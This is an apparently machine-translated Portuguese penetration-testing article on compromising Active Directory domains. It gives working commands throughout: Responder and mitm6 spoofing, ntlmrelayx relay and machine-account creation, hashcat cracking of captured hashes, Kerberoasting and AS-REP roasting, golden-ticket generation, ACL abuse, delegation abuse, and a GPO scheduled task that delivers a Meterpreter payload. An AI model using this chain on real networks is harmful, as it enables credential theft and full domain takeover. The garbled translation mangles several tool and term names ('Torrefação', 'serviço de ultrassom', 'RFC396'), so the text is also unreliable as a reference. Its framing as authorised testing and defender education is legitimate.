
Ao realizar testes de penetração, geralmente detectamos erros na configuração do domínio. Embora isso não pareça crítico para muitos, na realidade, essas imprecisões podem causar comprometimento de todo o domínio.
Por exemplo, de acordo com os resultados do teste em uma empresa, chegamos à conclusão de que todas as máquinas disponíveis no domínio não eram inferiores ao Windows10 / Windows Server2016 e possuíam todos os patches mais recentes. A rede era varrida regularmente, as máquinas eram difíceis. Todos os usuários passaram por tokens e não sabiam suas "senhas de 20 caracteres". Tudo parece estar bem, mas o IPv6 não foi desativado. O esquema de captura de domínio ficou assim:
mitm6 -> ntlmrelay -> ataque através da delegação -> o hash da senha do administrador local é recebido -> o hash da senha do administrador do domínio é recebido.
Infelizmente, certificações populares como OSCP, GPEN ou CEH não ensinam o teste de penetração do Active Directory.
Neste artigo, examinaremos vários tipos de ataques do Active Directory que realizamos como parte de pentests, bem como as ferramentas usadas. Isso de forma alguma pode ser considerado um guia completo para todos os tipos de ataques e ferramentas, existem realmente muitos deles e é difícil encaixar em um artigo.
Portanto, para demonstração, usamos um laptop no Kali Linux 2019 e os hosts virtuais criados nele no VMware. Imagine que o principal objetivo do pentest é obter direitos de administrador de domínio e, como entrada, temos acesso à rede corporativa da empresa via Ethernet. Para começar a testar o domínio, precisamos de uma conta.
Obtendo uma conta
Considere os dois métodos mais comuns, na minha opinião, para obter o login e a senha da conta de domínio: falsificação LLMNR / NBNS e ataque ao protocolo IPv6.
LLMNR / NBNS Spoofing
Muito foi dito sobre esse ataque. A linha inferior é que o cliente envia multicast LLMNR e transmite consultas NBT-NS para resolver nomes de host, se isso não for possível via DNS. Qualquer usuário da rede pode responder a essas solicitações.
Ferramentas que permitem um ataque:
- Resposta
- Inveight
- Módulos Metasploit: auxiliar / spoof / llmnr / llmnr_response, auxiliar / spoof / nbns / nbns_response,
auxiliar / servidor / captura / smb, auxiliar / servidor / captura / http_ntlm
Com um ataque bem-sucedido, podemos obter o hash NetNTLM da senha do usuário.
Responder -I eth0 -wrf

O hash resultante, podemos depurar ou executar relés NTLM.
Ataque IPv6
Se o IPv6 for usado na rede corporativa, podemos responder às solicitações do DHCPv6 e definir nosso endereço IP como o servidor DNS na máquina atacada. Como o IPv6 tem precedência sobre o IPv4, as consultas DNS do cliente serão enviadas para o nosso endereço. Leia mais sobre o ataque
aqui .
Ferramentas:
Executando o Utilitário mitm6
mitm6 -i vmnet0
Após a conclusão do ataque, um novo servidor DNS com o nosso endereço IPv6 aparecerá na estação de trabalho atacada.

Máquinas atacadas tentarão se autenticar com nossa máquina. Tendo aumentado o servidor SMB usando o utilitário
smbserver.py , podemos obter hashes de senha de usuário.
smbserver.py -smb2support SMB /root/SMB

Ações de Hash capturadas
A próxima etapa é executar um ataque criptográfico nos hashes de senha e obter a senha em texto não criptografado ou executar uma retransmissão NTLM.
Força bruta da senha
É simples: use um hash de senha, hashcat
hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt
e brutus. A senha pode ser obtida ou não :)
A senha do usuário Harvey foi recuperada - Pbvf2019Relé NTLM
Também podemos executar relés NTLM. Depois de garantir que a
assinatura SMB não seja usada
, usamos o utilitário
ntlmrelayx.py e conduzimos um ataque. Aqui, novamente, dependendo do objetivo, selecionamos o vetor que precisamos. Vamos considerar alguns deles.
Acesso à máquina atacada via protocolo SMB
Realize um ataque com a chave
i .
ntlmrelayx.py -t 192.168.1.5 -l loot -i

Com um ataque bem-sucedido, podemos conectar-se à máquina remota usando o netcat.

Coleta de informações de domínio
Nesse caso, executamos a retransmissão no controlador de domínio.
ntlmrelayx.py -t ldap://192.168.1.2
Se o ataque for bem-sucedido, obteremos informações detalhadas sobre o domínio:

Adicionando um novo computador ao domínio
Cada usuário, por padrão, pode criar até 10 computadores no domínio. Para criar um computador, você precisa executar uma retransmissão em um controlador de domínio usando o protocolo ldaps. É proibido criar usuários e computadores através de uma conexão LDAP não criptografada. Além disso, uma conta não pode ser criada se a conexão via SMB for interceptada.
ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer

Como você pode ver na figura, conseguimos criar um computador RORYOTGS $.
Ao criar mais de 10 computadores, recebemos um erro do seguinte formato:

Usando as credenciais de um computador RORYOTGS $, podemos executar solicitações legítimas para um controlador de domínio.
Coleta de informações de domínio
Portanto, temos uma conta de usuário ou computador do domínio. Para continuar testando, precisamos coletar informações disponíveis para um planejamento adicional de ataques. Considere algumas das ferramentas que nos ajudarão a determinar a pesquisa dos sistemas mais críticos, planejar e executar um ataque.
Bloodhound
Uma das ferramentas mais importantes usadas em quase todos os testes de penetração interna. O projeto está desenvolvendo ativamente e complementado por novos recursos.
Informações coletadas por bloodhound- Grupo - Executa a coleção de associação ao grupo
- LocalAdmin - Executa a coleção de administradores locais
- RDP - Executa a coleção de usuários da área de trabalho remota
- DCOM - Executa a coleção de usuários COM distribuídos
- GPOLocalGroup - Executa a coleção de administradores locais usando objetos de diretiva de grupo
- Sessão - Executa a coleção de sessões
- ComputerOnly - Executa administração local, RDP, DCOM e coleta de sessões
- LoggedOn - Executa a coleção de sessões privilegiadas (requer direitos de administrador nos sistemas de destino)
- Relações de confiança - Executa a enumeração de confiança do domínio
- ACL - Executa coleção de ACLs
- Container - Executa a coleção de Containers;
- DcOnly - Executa a coleção usando apenas LDAP. Inclui grupo, relações de confiança, ACL, ObjectProps, container e GPOLocalGroup
- Tudo - executa todos os métodos de coleção, exceto GPOLocalGroup e LoggedOn
- Pesquisar floresta - pesquise todos os domínios da floresta em vez de apenas o atual
- Domínio - pesquise um domínio específico. Usa seu domínio atual se nulo (Padrão: nulo)
- Discrição - Executa métodos de coleta furtiva. Todas as opções furtivas são de rosca única
- SkipGCDeconfliction - Ignora a desconflição do Catálogo Global durante a enumeração da sessão. Isso pode acelerar a enumeração, mas resultará em possíveis imprecisões nos dados
- ExcludeDc - Exclui controladores de domínio da enumeração (evita sinalizadores do Microsoft ATA)
- ComputerFile - especifique um arquivo para carregar nomes / IPs de computador de
- OU - Especifique qual OU enumerar
Os coletores de informações são o
SharpHound.exe (requer o .NET v3.5 instalado) e o script
SharpHound.ps1, escrito em PowerShell. Há também um compilador escrito por um desenvolvedor Python de terceiros,
Bloodhound-python .
Como banco de dados, o
Neo4j é usado, que possui sua própria sintaxe, o que permite executar consultas personalizadas. Você pode ler mais sobre a sintaxe
aqui .
Fora da caixa, 12 pedidos estão disponíveis- Encontre todos os administradores de domínio
- Encontre caminhos mais curtos para administradores de domínio
- Encontre entidades com direitos DCSync
- Usuários com associação ao grupo de domínio estrangeiro
- Grupos com associação ao grupo de domínio estrangeiro
- Mapear relações de confiança do domínio
- Caminhos mais curtos para sistemas de delegação sem restrições
- Caminhos mais curtos de usuários Kerberoastable
- Caminhos mais curtos para administradores de domínio de usuários Kerberoastable
- Caminho mais curto dos principais proprietários
- Caminhos mais curtos para administradores de domínio de proprietários próprios
- Caminhos mais curtos para alvos de alto valor
Os desenvolvedores também fornecem o script
DBCreator.py , que permite gerar um banco de dados aleatório para teste.

O Neo4j possui uma API REST. Existem vários utilitários que podem se conectar ao banco de dados e usar os dados recebidos:
Vamos considerar alguns deles.
Cypherdog
CypherDog é um shell
BloodHound escrito em PowerShell. Inclui 27 cmdlets.
Por padrão, a autenticação é necessária para acessar o banco de dados neo4j. Você pode desativar a autenticação editando o arquivo neo4j.conf. Ele precisa descomentar a linha
dbms.security.auth_enabled = false. Mas isso não é recomendado, pois qualquer usuário pode se conectar ao banco de dados em 127.0.0.1:7474 (a configuração padrão). Você pode ler mais sobre autenticação e autorização no neo4j
aqui.Gofetch
O GoFetch usa um gráfico criado no bloodhound para planejar e executar um ataque.
Exemplo de gráfico Bloodhound Lançamento do ataque
.\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json
gerador gt
O gt-generator , usando dados do BloodHound, facilita a criação de tickets de ouro. Para receber um ticket dourado, apenas o hash de nome de usuário e senha do usuário KRBTGT é necessário.
python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH>

Powerview
O PowerView é uma estrutura do Powershell incluída no
PowerSploit . A seguir, é apresentada uma lista de alguns cmdlets que podem ajudá-lo a coletar informações sobre um domínio.
Adidnsdump
Ao usar o DNS integrado no Active Directory, qualquer usuário do domínio pode consultar todos os registros DNS padrão.
Ferramenta usada:
Adidnsdump.
Ataques de domínio
Agora que temos as informações do domínio, passamos para a próxima fase do teste de penetração - diretamente para o ataque. Considere 4 vetores em potencial:
- Torrefação
- Ataque via ACL
- Delegação Kerberos
- Abusando de permissões de GPO
Torrefação
Esse tipo de ataque tem como alvo o protocolo Kerberos. Existem 2 tipos de ataque como o Roasting:
Kerberoast
O ataque foi demonstrado pela primeira vez pelo usuário
timmedin no DerbyCon em 2014 (
vídeo ). Com um ataque bem-sucedido, poderemos classificar a senha do serviço de ultrassom no modo offline, sem medo de bloquear o usuário. Frequentemente, as contas de serviço têm direitos excessivos e uma senha perpétua, o que pode nos permitir obter direitos de administrador de domínio.
Para entender a essência do ataque, considere como o Kerberos funciona.

1. A senha é convertida em um hash NTLM, o carimbo de data / hora é criptografado com um hash e enviado ao KDC como um autenticador na solicitação de ticket TGT (AS-REQ). O controlador de domínio (KDC) verifica as informações do usuário e cria um ticket TGT.
2. O ticket TGT é criptografado, assinado e enviado ao usuário (AS-REP). Somente o serviço Kerberos (KRBTGT) pode abrir e ler dados de um ticket TGT.
3. O usuário envia o ticket TGT ao controlador de domínio, mediante solicitação do ticket TGS (TGS-REQ). O controlador de domínio abre um ticket TGT e verifica a soma de verificação PAC.
4. O ticket TGS é criptografado com o hash NTLM da senha da conta de serviço e é enviado ao usuário (TGS-REP).
5. O usuário fornece um ticket TGS ao computador em que o serviço está sendo executado (AP-REQ). O serviço abre um ticket TGS usando seu hash NTLM.
6. O acesso ao serviço é fornecido (AS-REP).
Depois de receber um bilhete TGS (TGS-REP), podemos encontrar a senha da conta de serviço offline. Por exemplo, usando hashcat.
De acordo com o
RFC396 , 20 tipos de criptografia são reservados para o protocolo Kerberos. Os tipos de criptografia usados agora, em ordem de prioridade:
- AES256_CTS_HMAC_SHA1
- AES128_CTS_HMAC_SHA1
- RC4_HMAC_MD5
Nas versões recentes do Windows, a criptografia AES é usada por padrão. Mas, para compatibilidade com sistemas abaixo dos servidores Windows Vista e Windows 2008, é necessário suporte ao algoritmo RC4. Ao conduzir um ataque, sempre é feita uma primeira tentativa de obter um ticket TGS com criptografia RC4_HMAC_MD5, que permite senhas mais rápidas e depois o restante.
Harmj0y conduziu um
estudo interessante e descobriu que, se você especificar apenas o suporte à criptografia Kerberos AES128 e AES256 nas propriedades do usuário, o ticket Kerberos ainda será emitido com a criptografia RC4_HMAC_MD5.

Desabilitar o RC4_HMAC_MD5 é necessário no nível do
domínio.O ataque Kerberoasting tem 2 abordagens.
1. O método antigo. Os tickets TGS são solicitados por meio de setspn.exe ou .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken da classe Powershell, recuperados da memória usando mimikatz e convertidos no formato desejado (John, Hashcat) e classificados.
2. O novo método.
O machosec notou que a classe
KerberosRequestorSecurityToken possui um método
GetRequest , que extrai a parte criptografada com uma senha de um ticket TGS.
Ferramentas para conduzir um ataque:
1) Pesquise registros SPN
2) Solicitar um bilhete TGS
Você pode visualizar os tickets em cache atuais usando o comando klist.
Registros comuns do SPN- TERMSRV - Área de Trabalho Remota
- SmtpSVC e SMTP - Correio
- WSMAN - WinRM
- ExchangeAB, ExchangeRFR, ExchangeMDM - MS Exchange
- POP / POP3 - Serviço Postal POP3
- IMAP / IMAP4 - Serviço de email IMAP
- MSSQLSvc - Microsoft SQL Server
- MONGO - Servidor de Banco de Dados MongoDB
- DNS - servidor DNS
- HTTP, WWW - Servidor Web
- LDAP - LDAP
- FTP - servidor FTP
3) Exportação de bilhetes:
Um exemplo de execução automatizada dos três pontos:
- RiskiskSPN
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt
- Powersploit
Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl
- GetUserSPNs.py
GetUserSPNs.py -request jet.lab\user:Password
Asreproast
A vulnerabilidade é que a pré-autenticação Kerberos está desabilitada. Nesse caso, podemos enviar solicitações AS-REQ para um usuário com a pré-autenticação Kerberos desativada e obter a parte criptografada com uma senha.

A vulnerabilidade é rara, pois desabilitar a pré-autenticação não é a configuração padrão.
Procurando usuários com autenticação Kerberos desativada:
- Powerview
Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose
- Módulo do Active Directory
get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name
Obtendo a parte criptografada:
Ataque via ACL
Uma ACL em um contexto de domínio é um conjunto de regras que definem os direitos de acesso de objetos no AD. Uma ACL pode ser configurada para um único objeto (por exemplo, uma conta de usuário) ou para uma unidade organizacional, por exemplo, OU. Quando você configura a ACL na OU, todos os objetos na OU herdarão a ACL. As ACLs contêm entradas de controle de acesso (ACEs) que determinam como o SID interage com o objeto do Active Directory.
Por exemplo, temos três grupos: A, B, C, em que o grupo C é um membro do grupo B e o grupo B é um membro do grupo A. Quando você adiciona um convidado ao grupo C, ele não apenas será membro do grupo C, mas também um membro indireto dos grupos B e A. Ao adicionar acesso a um objeto de domínio no grupo A, o usuário convidado também terá acesso a esse objeto. Em uma situação em que o usuário é um membro direto de apenas um grupo e esse grupo é um membro indireto dos outros 50 grupos, é fácil perder a conexão das permissões herdadas.
Você pode recuperar as ACLs associadas ao objeto executando o seguinte comando
Get-ObjectACL -Samaccountname Guest -ResolveGUIDs
Você pode usar a ferramenta para explorar erros na configuração da ACL.
Invoke-ACLPwn . O script do Powershell coleta informações sobre todas as ACLs no domínio usando o coletor BloodHound, SharpHound, e cria uma cadeia para obter a permissão writeDACL. Depois que a cadeia é criada, o script opera cada etapa da cadeia. A ordem do script:
- O usuário é adicionado aos grupos necessários.
- Duas ACEs (Replicar Alterações no Diretório e Replicar Alterações no Diretório ALL) são adicionadas às ACLs do objeto de domínio.
- Se você possui direitos no DCSync usando o utilitário Mimikatz, é solicitado o hash da senha do usuário krbtgt (configuração padrão).
- Após a conclusão da operação, o script exclui todos os grupos adicionados e entradas do ACE na ACL.
O script visa apenas o uso de permissões writeDACL. Os seguintes direitos de acesso também podem ser de interesse para um invasor:
- ForceChangePassword. Direitos para alterar a senha do usuário quando a senha atual não é conhecida. Operação com o PowerSploit - Set-DomainUserPassword.
- AddMembers. Direitos para adicionar grupos, computadores e usuários a grupos. Operação com o PowerSploit - Add-DomainGroupMember.
- GenericWrite Direitos para alterar os atributos de um objeto. Por exemplo, altere o valor do parâmetro scriptPath. Na próxima vez que o usuário fizer logon no sistema, o arquivo especificado será iniciado. Operação com o PowerSploit - Set-DomainObject.
- WriteOwner. Direitos para alterar o proprietário do objeto. Operação com o PowerSploit - Set-DomainObjectOwner.
- AllExtendedRights. Direitos para adicionar usuários a grupos, alterar senhas de usuários etc. Operação com o PowerSploit - Set-DomainUserPassword ou Add-DomainGroupMember.
Operação:
Iniciando em uma máquina que está em um domínio
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
Iniciando em uma máquina que não está em um domínio
/Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass'
- O aclpwn.py é uma ferramenta semelhante escrita em Python
Delegação Kerberos
A delegação de autoridade Kerberos permite reutilizar credenciais de usuário final para acessar recursos hospedados em outro servidor.
A delegação Kerberos pode ser de três tipos:
- Ilimitado (delegação sem restrições). A única opção de delegação antes do Windows Server 2003
- Delegação restrita desde o Windows Server 2003
- Delegação restrita baseada em recursos Introduzido no Windows Server 2012
Delegação ilimitada
No snap-in do Active Directory, o recurso de delegação ilimitada ativado é o seguinte:

Para maior clareza, considere como ocorre a delegação ilimitada em um diagrama.

- A senha do usuário é convertida em hash ntlm. O registro de data e hora é criptografado com esse hash e enviado ao controlador de domínio para solicitar um ticket TGT.
- O controlador de domínio verifica as informações sobre o usuário (restrição de logon, associação a grupos etc.), cria um ticket TGT e envia para o usuário. O ticket TGT é criptografado, assinado e apenas o krbtgt pode ler seus dados.
- O usuário solicita um ticket TGS para acessar o serviço da web no servidor da web.
- O controlador de domínio fornece um ticket TGS.
- O usuário envia tickets TGT e TGS para o servidor da web.
- A conta de serviço do servidor da web usa o ticket TGT do usuário para solicitar um ticket TGS para acessar o servidor de banco de dados.
- A conta de serviço se conecta ao servidor de banco de dados como um usuário.
O principal perigo da delegação ilimitada é que, quando uma máquina com delegação ilimitada for comprometida, um invasor poderá obter tickets TGT dos usuários dessa máquina e acessar qualquer sistema no domínio em nome desses usuários.
Procure máquinas em um domínio com delegação ilimitada:
Exportação de bilhetes:

Delegação limitada
O modo de delegação limitada permite acessar apenas serviços permitidos e em uma máquina específica. No snap-in do Active Directory, fica assim:

Com delegação limitada, duas extensões de protocolo Kerberos são usadas:
S4U2Self é usado quando o cliente não se autentica usando o protocolo Kerberos.
Para delegação ilimitada, o TGT é usado para identificar o usuário; nesse caso, a extensão S4U usa a estrutura
PA-FOR-USER como o novo tipo no campo de dados padata / pré-autenticação. O processo S4U2self é permitido apenas se o usuário solicitante tiver o campo TRUSTED_TO_AUTH_FOR_DELEGATION definido em seu userAccountControl.
O S4U2Proxy permite que a conta de serviço use o ticket de redirecionamento recebido no processo S4U2proxy para solicitar um ticket TGS para acesso aos serviços permitidos (msds-allowtodelegateto). O KDC verifica se o serviço solicitado está especificado no campo msds-allowtodelegateto do usuário solicitante e emite um ticket se a verificação for bem-sucedida. Assim, a delegação é "limitada" a serviços de destino específicos.
Você pode procurar computadores e usuários em um domínio de delegação limitado usando o PowerView .Procure computadores com delegação ilimitada Get-DomainComputer -TrustedtoAuth
Procure usuários de delegação limitada Get-DomainUser -TrustedtoAuth
Para conduzir um ataque, precisamos de uma senha aberta, um hash de senha NTLM ou um ticket TGT.
Delegação limitada baseada em recursos
Como na delegação regular, as extensões S4U são usadas. Como a delegação baseada em recursos é principalmente uma delegação limitada, os ataques relevantes à delegação limitada regular também estão disponíveis aqui. A única diferença é que, em uma delegação limitada simples, o serviço A deve ter o atributo msDS-AllowedToDelegateTo = ServiceB, e aqui o serviço B deve ter o atributo msDS-AllowedToActOnBehalfOfOtherIdentity = Service A.
Essa propriedade permite mais um ataque publicado por harmj0y. Um ataque requer permissões para modificar o parâmetro PrincipalsAllowedToDelegateToAccount, que define o atributo msds-AllowedToActOnBehalfOfOtherIdentity, que contém uma lista de controle de acesso (ACL). Diferentemente da delegação limitada, não precisamos de direitos de administrador de domínio para alterar o atributo msds-AllowedToActOnBehalfOfOtherIdentity. Você pode descobrir quem tem permissão para editar o atributo da seguinte maneira: (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview
Então, para realizar o ataque, execute mitm6 mitm6 -I vmnet0
Iniciamos o ntlmrelayx com a opção --delegate-access ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access
Como resultado do ataque, um computador ZGXTPVYX $ é criado com direitos de delegação para o computador Windows7. $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access
Um bom relatório de delegação foi apresentado no PHDays por Yegor Podmokov.
Abusando de permissões de GPO
Objetos de Diretiva de Grupo é uma ferramenta que permite aos administradores gerenciar eficientemente um domínio. Mas acontece que os usuários recebem direitos desnecessários, inclusive para alterar políticas de GPO.Para demonstrar o exemplo, adicionaremos ao usuário Ragnar os direitos para editar a Política de Controladores de Domínio Padrão (na vida real, os direitos dessa política são concedidos apenas aos administradores de domínio, mas a essência do ataque não muda; no caso de outra política, apenas os hosts controlados mudam).
Enumere os direitos de todos os GPOs no domínio usando o PowerView . Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Um usuário do Ragnar tem o direito de alterar um GPO que tenha um GUID de 6AC1786C-016F-11D2-945F-00C04FB984F9. Para determinar quais hosts no domínio aplicam essa política, execute o seguinte comando Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}
Obteve o host dc1.jet.lab.Conhecendo a política específica que o usuário do Ragnar pode editar e os hosts aos quais essa política se aplica, podemos executar várias ações no host dc1.jet.lab.Abaixo estão as opções para usar o GPO As ferramentas New-GPOImmediateTask e SharpGPOAbuse permitem:- Executar tarefa no agendador de tarefas
- Adicionar direitos de usuário (SeDebugPrivilege, SeTakeOwnershipPrivilege, etc.)
- Adicionar um script que é executado após a inicialização
- Adicionar usuário ao grupo local
Por exemplo, adicione uma tarefa no agendador de tarefas para obter uma sessão do Meterpreter: New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force
Após a execução, a tarefa agendada aparece teste
E a sessão Meterpreter é exibida.Para
excluir uma tarefa agendada, é necessário executar o seguinte comando: New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy
Conclusões
No artigo, examinamos apenas alguns vetores de ataque. Exibições como Enumerate Accounts and Password spray , MS14-068 , vários erros de impressora e delegação irrestrita, ataques ao Exchange ( Régua , PrivExchange , ExchangeRelayX ) podem expandir significativamente o escopo do ataque.As técnicas de ataque e os métodos de pinagem (tíquete de ouro, tíquete de prata, passe-o-hash, passe de hash, histórico do SID, DC Shadow, etc.) estão constantemente mudando, e a equipe de defesa deve estar sempre pronta para novos tipos de ataques.